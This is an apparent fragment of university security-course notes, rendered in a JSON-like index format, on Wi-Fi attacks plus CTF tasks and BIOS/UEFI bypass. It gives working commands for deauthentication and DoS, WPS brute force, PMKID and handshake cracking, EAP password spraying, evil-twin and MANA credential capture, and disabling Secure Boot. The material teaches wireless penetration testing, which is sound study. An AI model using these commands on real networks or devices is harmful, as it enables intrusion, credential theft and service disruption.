Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network. Description from here.
"},{"location":"CS315/2021/Week%207/#deauthentication-using-aireplay-ng","title":"Deauthentication using Aireplay-ng","text":"aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0\n
Disassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used.
An AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area.
Description from here.
This attack can be performed by mdk4(mode \"d\"):
# -c <channel>\n# -b victim_client_mac.txt contains the MAC address of the device to eliminate\n# -e WifiName is the name of the wifi\n# -B BSSID is the BSSID of the AP\n# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them \nmdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F\n
"},{"location":"CS315/2021/Week%207/#more-dos-attacks-by-mdk4","title":"More DOS attacks by mdk4","text":"From here.
ATTACK MODE b: Beacon Flooding
Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit\n# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)\n# -m use real BSSIDS\n# All the parameters are optional and you could load ESSIDs from a file\nmdk4 wlan0mon b -a -w nta -m\n
ATTACK MODE a: Authentication Denial-Of-Service
Sends authentication frames to all APs found in range. Too many clients can freeze or reset several APs.
# -a BSSID send random data from random clients to try the DoS\n# -i BSSID capture and repeat pakets from authenticated clients\n# -m use real MACs\n# only -a or -i can be used\nmdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m\n
ATTACK MODE p: SSID Probing and Bruteforcing
Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range. Bruteforcing of hidden SSIDs with or without a wordlist is also available.
ATTACK MODE m: Michael Countermeasures Exploitation
Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs. AP will then shutdown for a whole minute, making this an effective DoS.
# -t <BSSID> of a TKIP AP\n# -j use inteligent replay to create the DoS\nmdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]\n
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Floods an AP with EAPOL Start frames to keep it busy with fake sessions and thus disables it to handle any legitimate clients. Or logs off clients by injecting fake EAPOL Logoff messages.
# Use Logoff messages to kick clients\nmdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]\n
ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
Various attacks on link management and routing in mesh networks. Flood neighbors and routes, create black holes and divert traffic!
ATTACK MODE w: WIDS Confusion
Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)\nmkd4 -e <SSID> -c <channel> [-z]\n
ATTACK MODE f: Packet Fuzzer
A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful!
"},{"location":"CS315/2021/Week%207/#airggedon","title":"Airggedon","text":"Airgeddon offers most of the attacks proposed in the previous comments:
"},{"location":"CS315/2021/Week%207/#wps","title":"WPS","text":"WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. WPS works only for wireless networks that use a password that is encrypted with the WPA Personal or WPA2 Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. (From here)
WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half (only 11000 possibilities).
"},{"location":"CS315/2021/Week%207/#wps-bruteforce","title":"WPS Bruteforce","text":"There are 2 main tools to perform this action: Reaver and Bully.
Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.
Bully is a new implementation of the WPS brute force attack, written in C. It has several advantages over the original reaver code: fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options. It runs on Linux, and was specifically developed to run on embedded Linux systems (OpenWrt, etc) regardless of architecture.
Bully provides several improvements in the detection and handling of anomalous scenarios. It has been tested against access points from numerous vendors, and with differing configurations, with much success.
If the WPS valid code is found, both Bully and Reaver will use it to discover the WPA/WPA2 PSK used to protect the network, so you will be able to connect anytime you need it.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot \nbully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3\n
"},{"location":"CS315/2021/Week%207/#smart-brute-force","title":"Smart Brute force","text":"Instead of starting trying every possible PIN, you should check if there are available PINs discoveredfor the AP you are attacking (depending of the manufacturer MAC) and the PIN software generated PINs.
Dominique Bongard discovered that some APs have weak ways of generating nonces (known as E-S1 and E-S2) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the \"keys to unlock the lock box\" containing the WPS pin. More info here: https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
Basically, some implementations failed in the use of random keys to encrypt the 2 parts of the the PIN(as it is discomposed in 2 parts during the authentication communication and sent to the client), so an offline attack could be used to brute force the valid PIN.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv\nbully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3\n
"},{"location":"CS315/2021/Week%207/#null-pin-attack","title":"Null Pin attack","text":"Some really bad implementations allowed the Null PIN to connect (very weird also). Reaver can test this (Bully cannot).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''\n
"},{"location":"CS315/2021/Week%207/#airgeddon_1","title":"Airgeddon","text":"All the proposed WPS attacks can be easily performed using *airgeddon.*
So broken and disappeared that I am not going to talk about it. Just know that *airgeddon* have a WEP option called \"All-in-One\" to attack this kind of protection. More tools offer similar options.
"},{"location":"CS315/2021/Week%207/#wpawpa2-psk","title":"WPA/WPA2 PSK","text":""},{"location":"CS315/2021/Week%207/#pmkid","title":"PMKID","text":"In 2018 hashcat authors disclosed a new type of attack which not only relies on one single packet, but it doesn\u2019t require any clients to be connected to our target AP or, if clients are connected, it doesn\u2019t require us to send deauth frames to them, there\u2019s no interaction between the attacker and client stations, but just between the attacker and the AP, interaction which, if the router is vulnerable, is almost immediate!
It turns out that a lot of modern routers append an optional field at the end of the first EAPOL frame sent by the AP itself when someone is associating, the so called Robust Security Network
, which includes something called PMKID
As explained in the original post, the PMKID is derived by using data which is known to us:
PMKID = HMAC-SHA1-128(PMK, \"PMK Name\" | MAC_AP | MAC_STA)\n
Since the \u201cPMK Name\u201d string is constant, we know both the BSSID of the AP and the station and the PMK
is the same one obtained from a full 4-way handshake, this is all hashcat needs in order to crack the PSK and recover the passphrase! Description obtained from here.
To gather this information and bruteforce locally the password you can do:
airmon-ng check kill\nairmon-ng start wlan0\ngit clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install\nhcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1\n
#You can also obtains PMKIDs using eaphammer\n./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1\n
The PMKIDs captured will be shown in the console and also saved inside /tmp/attack.pcap** Now, convert the capture to hashcat/john** format and crack it:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng\nhashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt\njohn hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt\n
Please note the the format of a correct hash contains 4 parts, like: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838 If yours only contains 3 parts, then, it is invalid (the PMKID capture wasn't valid).
Note that hcxdumptool
also capture handshakes (something like this will appear: MP:M1M2 RC:63258 EAPOLTIME:17091
). You could transform the handshakes to hashcat/john format using cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap\ncap2hccapx pmkid.pcapng pmkid.hccapx [\"Filter_ESSID\"]\nhccap2john pmkid.hccapx > handshake.john\njohn handshake.john --wordlist=/usr/share/wordlists/rockyou.txt\naircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes\n
I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.
"},{"location":"CS315/2021/Week%207/#handshake-capture","title":"Handshake capture","text":"One way to attack WPA/WPA2 networks is to capture a handshake and try to crack the used password offline. To do so you need to find the BSSID and channel of the victim network, and a client that is connected to the network. Once you have that information you have to start listening to all the commutation of that BSSID in that channel, because hopefully the handshake will be send there:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap\n
Now you need to deauthenticate the client for a few seconds so it will automatically authenticate again to the AP (please read the part of DoS to find several ways to deauthenticate a client):
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work\n
Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.
Once in theairodump-ng
appears some handshake information this means that the handshake was captured and you can stop listening:
Once the handshake is captured you can crack it with aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap\n
"},{"location":"CS315/2021/Week%207/#check-if-handshake-in-file","title":"Check if handshake in file","text":""},{"location":"CS315/2021/Week%207/#aircrack","title":"aircrack","text":"aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture\n
"},{"location":"CS315/2021/Week%207/#tshark","title":"tshark","text":"tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.\n
"},{"location":"CS315/2021/Week%207/#cowpatty","title":"cowpatty","text":"cowpatty -r psk-01.cap -s \"ESSID\" -f -\n
If this tool finds an uncompleted handshake of an ESSID before the completed one, it won't detect the valid one.
"},{"location":"CS315/2021/Week%207/#pyrit","title":"pyrit","text":"apt-get install pyrit #Not working for newer versions of kali\npyrit -r psk-01.cap analyze\n
"},{"location":"CS315/2021/Week%207/#wpa-enterprise-mgt","title":"WPA Enterprise (MGT)","text":"It is important to talk about the different authentication methods that could be used by an enterprise Wifi. For this kind of Wifis you will probably find inairodump-ng
something like this:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi\n
EAP (Extensible Authentication Protocol) the skull of the authentication communication, on top of this, an authentication algorithm is used by the server to authenticate the client (supplicant) and in same cases by the client to authenticate the server. Main authentication algorithms used in this case:
You can find more information about these authentication methods here and here.
"},{"location":"CS315/2021/Week%207/#username-capture","title":"Username Capture","text":"Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the \"Identity\" messages must be supported, and the username is going to be sent in clear in the \"Response Identity\" messages.
Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng
inside a channel and wireshark
in the same interface) and filter the packets byeapol
. Inside the \"Response, Identity\" packet, the username of the client will appear.
(Info taken from https://www.interlinknetworks.com/app_notes/eap-peap.htm)
Both EAP-PEAP and EAP-TTLS support identity hiding. In a WiFi environment, the access point (AP) typically generates an EAP-Identity request as part of the association process. To preserve anonymity, the EAP client on the user\u2019s system may respond with only enough information to allow the first hop RADIUS server to process the request, as shown in the following examples.
In this example, all users will share the pseudo-user-name \u201canonymous\u201d. The first hop RADIUS server is an EAP-PEAP or EAP-TTLS server which drives the server end of the PEAP or TTLS protocol. The inner (protected) authentication type will then be either handled locally or proxied to a remote (home) RADIUS server.
In this example, users belonging to different realms hide their own identity but indicate which realm they belong to so that the first hop RADIUS server may proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms which will act as the PEAP or TTLS server. The first hop server acts purely as a RADIUS relay node.
Alternatively, the first hop server may act as the EAP-PEAP or EAP-TTLS server and either process the protected authentication method or proxy it to another server. This option may be used to configure different policies for different realms.
In EAP-PEAP, once the PEAP server and the PEAP client establish the TLS tunnel, the PEAP server generates an EAP-Identity request and transmits it down the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user\u2019s true identity down the encrypted tunnel. This prevents anyone eavesdropping on the 802.11 traffic from discovering the user\u2019s true identity.
EAP-TTLS works slightly differently. With EAP-TTLS, the client typically authenticates via PAP or CHAP protected by the TLS tunnel. In this case, the client will include a User-Name attribute and either a Password or CHAP-Password attribute in the first TLS message sent after the tunnel is established.
With either protocol, the PEAP/TTLS server learns the user\u2019s true identity once the TLS tunnel has been established. The true identity may be either in the form user@realm or simply user**. If the PEAP/TTLS server is also authenticating the user**, it now knows the user\u2019s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user\u2019s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user\u2019s true identity \u2013 not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request.
"},{"location":"CS315/2021/Week%207/#eap-bruteforce-password-spray","title":"EAP-Bruteforce (password spray)","text":"If the client is expected to use a username and password (notice that EAP-TLS won't be valid in this case), then you could try to get a list a usernames (see next part) and passwords and try to bruteforce the access using air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt\n
You could also do this attack using eaphammer
:
./eaphammer --eap-spray \\\n --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \\\n --essid example-wifi \\\n --password bananas \\\n --user-list users.txt\n
"},{"location":"CS315/2021/Week%207/#client-attacks-theory","title":"Client attacks Theory","text":""},{"location":"CS315/2021/Week%207/#network-selection-and-roaming","title":"Network Selection and Roaming","text":"Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID (because you wouldn\u2019t want to lose WiFi connectivity when walking from one end of a building to another, etc). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station.
"},{"location":"CS315/2021/Week%207/#preferred-network-lists-pnls","title":"Preferred Network Lists (PNLs)","text":"Each time a station connects to a wireless network, the network\u2019s ESSID is stored in the station\u2019s Preferred Network List (PNL). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network\u2019s ESSID and any network-specific configuration information needed to establish a connection.
"},{"location":"CS315/2021/Week%207/#passive-scanning","title":"Passive Scanning","text":"In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP\u2019s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP\u2019s ESSID (as long as ESSID broadcasting is not disabled).
During passive scanning, the client device listens for beacon frames from nearby access points. If the client device receives a beacon frame whose ESSID field matches an ESSID from the client\u2019s PNL, the client will automatically connect to the access point that sent the beacon frame. Then, suppose we want to target a wireless device that is not currently connected to any wireless. If we know at least one entry in that client\u2019s PNL, we can force the client to connect to us simply by creating our own access point with that entry\u2019s ESSID.
"},{"location":"CS315/2021/Week%207/#active-probing","title":"Active Probing","text":"The second network selection algorithm used in 802.11 is known as Active Probing. Client devices that use active probing continuously transmit probe request frames to determine what APs are within range, as well as what their capabilities are. Probe requests come in two forms: directed and broadcast. Directed probe requests are addressed to a specific ESSID, and are the client\u2019s way of checking if a specific network is nearby.
Clients that use directed probing will send out probe requests for each network in its PNL. It should be noted that directed probing is the only way of identify the presence of nearby hidden networks. Broadcast probe requests work almost exactly the same way, but are sent with the SSID field set to NULL. This addresses the broadcast probe to all nearby access points, allowing the the station to check if any of its preferred networks are nearby without revealing the contents of its PNL
"},{"location":"CS315/2021/Week%207/#simple-ap-with-redirection-to-internet","title":"Simple AP with redirection to Internet","text":"Before explaining how to perform more complex attacks it's going to be explained how to just create an AP and redirect it's traffic to an interface connected to the Internet.
Using ifconfig -a
check that the wlan interface to create the AP and the interface connected to the Internet are present.
apt-get install dnsmasq #Manages DHCP and DNS\n
create a config file /etc/dnsmasq.conf as follows:
interface=wlan0\ndhcp-authoritative\ndhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h\ndhcp-option=3,192.168.1.1\ndhcp-option=6,192.168.1.1\nserver=8.8.8.8\nlog-queries\nlog-dhcp\nlisten-address=127.0.0.1\n
Then set IPs and routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0\nroute add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1\n
And then start dnsmasq:
dnsmasq -C dnsmasq.conf -d\n
"},{"location":"CS315/2021/Week%207/#hostapd","title":"hostapd","text":"apt-get install hostapd\n
Create a config file hostapd.conf:
interface=wlan0\ndriver=nl80211\nssid=MITIWIFI\nhw_mode=g\nchannel=11\nmacaddr_acl=0\nignore_broadcast_ssid=0\nauth_algs=1\nwpa=2\nwpa_passphrase=mitmwifi123\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=CCMP\nwpa_group_rekey=86400\nieee80211n=1\nwme_enabled=1\n
Stop annoying processes , set monitor mode, and start hostapd:
airmon-ng check kill\niwconfig wlan0 mode monitor\nifconfig wlan0 up\nhostapd ./hostapd.conf\n
"},{"location":"CS315/2021/Week%207/#forwarding-and-redirection","title":"Forwarding and Redirection","text":"iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE\niptables --append FORWARD --in-interface wlan0 -j ACCEPT\necho 1 > /proc/sys/net/ipv4/ip_forward\n
"},{"location":"CS315/2021/Week%207/#evil-twin","title":"Evil Twin","text":"An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the \"name\" or ESSID of a wireless network (as the base station is not required to authenticate against the client). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users.
Due how the implementation of clients work (remember that the 802.11 protocol allows stations to roam freely between access points within the same ESS), it is possible to make a device to change the base station it is connected to. It is possible to do that offering a better signal (which is not always possible) or by blocking the access to the original base station (deauthentication packets, jamming, or some other form of DoS attack).
Notice also that real-world wireless deployments usually have more than a single access point, and these access points are often more powerful and have better line-of-site range due to their placement towards the ceiling. Deauthenticating a single access point usually results in the target roaming towards another valid access point rather than your rogue AP, unless all nearby access points are deauthenticated (loud) or you are very careful with the placement of the rogue AP (difficult).
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
airbase-ng -a 00:09:5B:6F:64:1E --essid \"Elroy\" -c 1 wlan0mon\n
You could also create an Evil Twin using eaphammer (notice that to create evil twins with eaphammer the interface should NOT be in monitor mode):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal\n
Or using Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won't connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won't be able to let the victim connect to you as you don't know the PSK, but you can capture the handshake and try to crack it).
Some OS and AV will warn the user that connect to an Open network is dangerous...
"},{"location":"CS315/2021/Week%207/#wpawpa2-evil-twin","title":"WPA/WPA2 Evil Twin","text":"You can create an Evil Twin using WPA/2 and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, to complete the 4-way-handshake you also need to know the password that the client is going to use. If you don't know it, the connection won't be completed.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase \"mywifipassword\"\n
"},{"location":"CS315/2021/Week%207/#enterprise-evil-twin","title":"Enterprise Evil Twin","text":"To understand this attacks I would recommend to read before the brief WPA Enterprise explanation.
"},{"location":"CS315/2021/Week%207/#using-hostapd-wpe","title":"Using hostapd-wpe","text":"hostapd-wpe
needs a configuration file to work. To automate the generation if these configurations you could use https://github.com/WJDigby/apd_launchpad (download the python file inside /etc/hostapd-wpe/)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com\nhostapd-wpe ./victim/victim.conf -s\n
In the configuration file you can select a lot of different things like ssid, channel, user files, cret/key, dh parameters, wpa version and auth...
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
"},{"location":"CS315/2021/Week%207/#using-eaphammer","title":"Using EAPHammer","text":"# Generate Certificates./eaphammer --cert-wizard\n# Launch Attack./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds\n
By default, EAPHammer purposes this authentication methods (notice GTC as the first one to try to obtain plaintext passwords and then the use of more robust auth methods):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5\n
This is the default methodology to avoid long connection times. However, you can also specify to server the authentication methods from weakest to strongest:
--negotiate weakest\n
Or you could also use:
--negotiate gtc-downgrade
to use highly efficient GTC downgrade implementation (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).Airgeddon
can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to capture the user and the MD5 of the password. Later, the attacker can try to crack the password. Airggedon
offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).
This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS
Inside the configuration of hostapd-wpe comment the line that contains dh_file** (from dh_file=/etc/hostapd-wpe/certs/dh
to #dh_file=/etc/hostapd-wpe/certs/dh
) This will make hostapd-wpe
to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key**.
Now start the Evil Twin using hostapd-wpe
with that modified configuration as usual. Also, start wireshark
in the interface which is performing the Evil Twin attack.
Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Add a new entry and fill the form with this values: IP address = any -- Port = 0 -- Protocol = data -- Key File (select your key file, to avoid problems select a key file without being password protected).
And look at the new \"Decrypted TLS\" tab:
"},{"location":"CS315/2021/Week%207/#karma-mana-loud-mana-and-known-beacons-attack","title":"KARMA, MANA, Loud MANA and Known beacons attack","text":""},{"location":"CS315/2021/Week%207/#essid-and-mac-blackwhitelists","title":"ESSID and MAC black/whitelists","text":"The following table lists the different type of MFACLs (Management Frame Access Control Lists) available, as well their effects when used:
# example EAPHammer MFACL file, wildcards can be used78:f0:97:fc:b5:369a:35:e1:01:4f:cf69:19:14:60:20:45ce:52:b8:*:*:*\n[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting][--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]\n
# example ESSID-based MFACL fileapplesorangesgrapespears\n[--ssid-whitelist /path/to/mac/whitelist/file.txt][--ssid-blacklist /path/to/mac/blacklist/file.txt]\n
"},{"location":"CS315/2021/Week%207/#karma","title":"KARMA","text":"Karma attacks are a second form of rogue access point attack that exploits the network selection process used by stations. In a whitepaper written in 2005, Dino Dai Zovi and Shane Macaulay describe how an attacker can configure an access point to listen for directed probe requests and respond to all of them with matching directed probe responses. This causes the affected stations to automatically send an association request to the attacker\u2019s access point. The access point then replies with an association response, causing the affected stations to connect to the attacker.
"},{"location":"CS315/2021/Week%207/#mana","title":"MANA","text":"According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White\u2019s and de Villiers\u2019 improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker\u2019s access point responds with an arbitrary SSID from the station\u2019s PNL already being saw in a direct probe from that device.
In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it\u2019s a broadcast or directed probe. If it\u2019s directed probe, the sender\u2019s MAC address is added to the hash table (if it\u2019s not there already) and the ESSID is added to that device\u2019s PNL. The AP then responds with a directed probe response. If it\u2019s a broadcast probe, the access point responds with probe responses for each of the networks in that device\u2019s PNL.
MANA attack using eaphammer:
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]\n
"},{"location":"CS315/2021/Week%207/#loud-mana","title":"Loud MANA","text":"Notice that the standard MANA attack still does not allow us to attack devices that don\u2019t use directed probing at all. So if we also doesn't know previously any entry inside the device PNL, we need to figure out some other way to attack it.
A possibility is what is called Loud MANA attack. This attack relies on the idea that client devices within close physical proximity to one another are likely to have at least some common entries in their PNLs.
In resume, Loud MANA attack instead of responding to probe requests with each ESSID in a particular device\u2019s PNL, the rogue AP sends probe responses for every ESSID in every PNL across all devices that it has seen before. Relating this to set theory, we can say that the AP sends probe responses for each ESSID in the union of all PNLs of nearby devices.
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]\n
"},{"location":"CS315/2021/Week%207/#known-beacon-attack","title":"Known Beacon attack","text":"There are still cases in which Loud MANA attack won\u2019t succeed. The Known Beacon attack is a way to \"Brute-Force\" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP. Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with --loud
to create a Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]\n
"},{"location":"CS315/2021/Week%207/#known-beacon-burst-attack","title":"Known Beacon Burst attack","text":"As known beacons are loud. You can use a script inside Eaphammer project to just launch beacouns of every ESSID name inside a file very quickly. If you combines this script with a Eaphammer MANA attack, the clients will be able to connect to your AP.
# transmit a burst of 5 forged beacon packets for each entry in list\n./forge-beacons -i wlan1 \\\n --bssid de:ad:be:ef:13:37 \\\n --known-essids-file known-s.txt \\\n --dst-addr 11:22:33:11:22:33 \\\n --burst-count 5\n
"},{"location":"CS315/2021/Week%207/#other-tools","title":"Other tools","text":""},{"location":"CS315/2021/Week%207/#wifite2","title":"Wifite2","text":"This tool automates WPS/WEP/WPA-PSK attacks. It will automatically:
WiFi standards update so quick.
Some security problems, some new attack ideas, balabala...
I just don't want to update my router. Seriously, who would hack my wireless network?
flag format: flag{md5 of the WiFi password}
capture.cap
"},{"location":"CS315/2021/Week%207/#4-pt-s-traffic-sniff","title":"(4 pt) \u91ce\u7363\u5148\u8f29\uff08\u3084\u3058\u3085\u3046\u305b\u3093\u3071\u3044\uff09's traffic sniff","text":"My \u305b\u3093\u3071\u3044 (seniority) invited me to play games in his house.
The seniority treated me with delicious black tea. But his WiFi is too slow to play video games. So, I'm going to debug this wireless network.
114514.7z
"},{"location":"CS315/2021/Week%207/#2-pt-wifi","title":"(2 pt) wifi","text":"Wang uploaded a Godzilla Trojan to server upload-labs. The memory image, wifi traffic, and the server's traffic are saved.
Wang used Trojan to run cat /flag
, and you are given these files. Find the flag.
chall.zip
"},{"location":"CS315/2021/Week%208/","title":"Week8 MISC: Physical Attacks","text":"According to @Hacktricks: https://book.hacktricks.xyz/
"},{"location":"CS315/2021/Week%208/#bios-password","title":"BIOS password","text":""},{"location":"CS315/2021/Week%208/#the-battery","title":"The battery","text":"Most of the motherbords have a battery. If you remove it 30min the settings of the BIOS will be restarted (password included).
"},{"location":"CS315/2021/Week%208/#jumper-cmos","title":"Jumper CMOS","text":"Most of the motherboards have a jumper that can restart the settings. This jumper connects a central pin with another, if you connect thoses pins the motherbord will be reseted.
"},{"location":"CS315/2021/Week%208/#live-tools","title":"Live Tools","text":"If you could run for example a Kali Linux from a Live CD/USB you could use tools like killCmos** or CmosPWD* (this last one is included in Kali) you could try to recover the password of the BIOS*.
"},{"location":"CS315/2021/Week%208/#online-bios-password-recovery","title":"Online BIOS password recovery","text":"Put the password of the BIOS 3 times wrong, then the BIOS will show an error message and it will be blocked. Visit the page https://bios-pw.org and introduce the error code shown by the BIOS and you could be lucky and get a valid password (the same search could show you different passwords and more than 1 could be valid).
"},{"location":"CS315/2021/Week%208/#uefi","title":"UEFI","text":"To check the settings of the UEFI and perform some kind of attack you should try chipsec. Using this tool you could easily disable the Secure Boot:
python chipsec_main.py -module exploits.secure.boot.pk\n
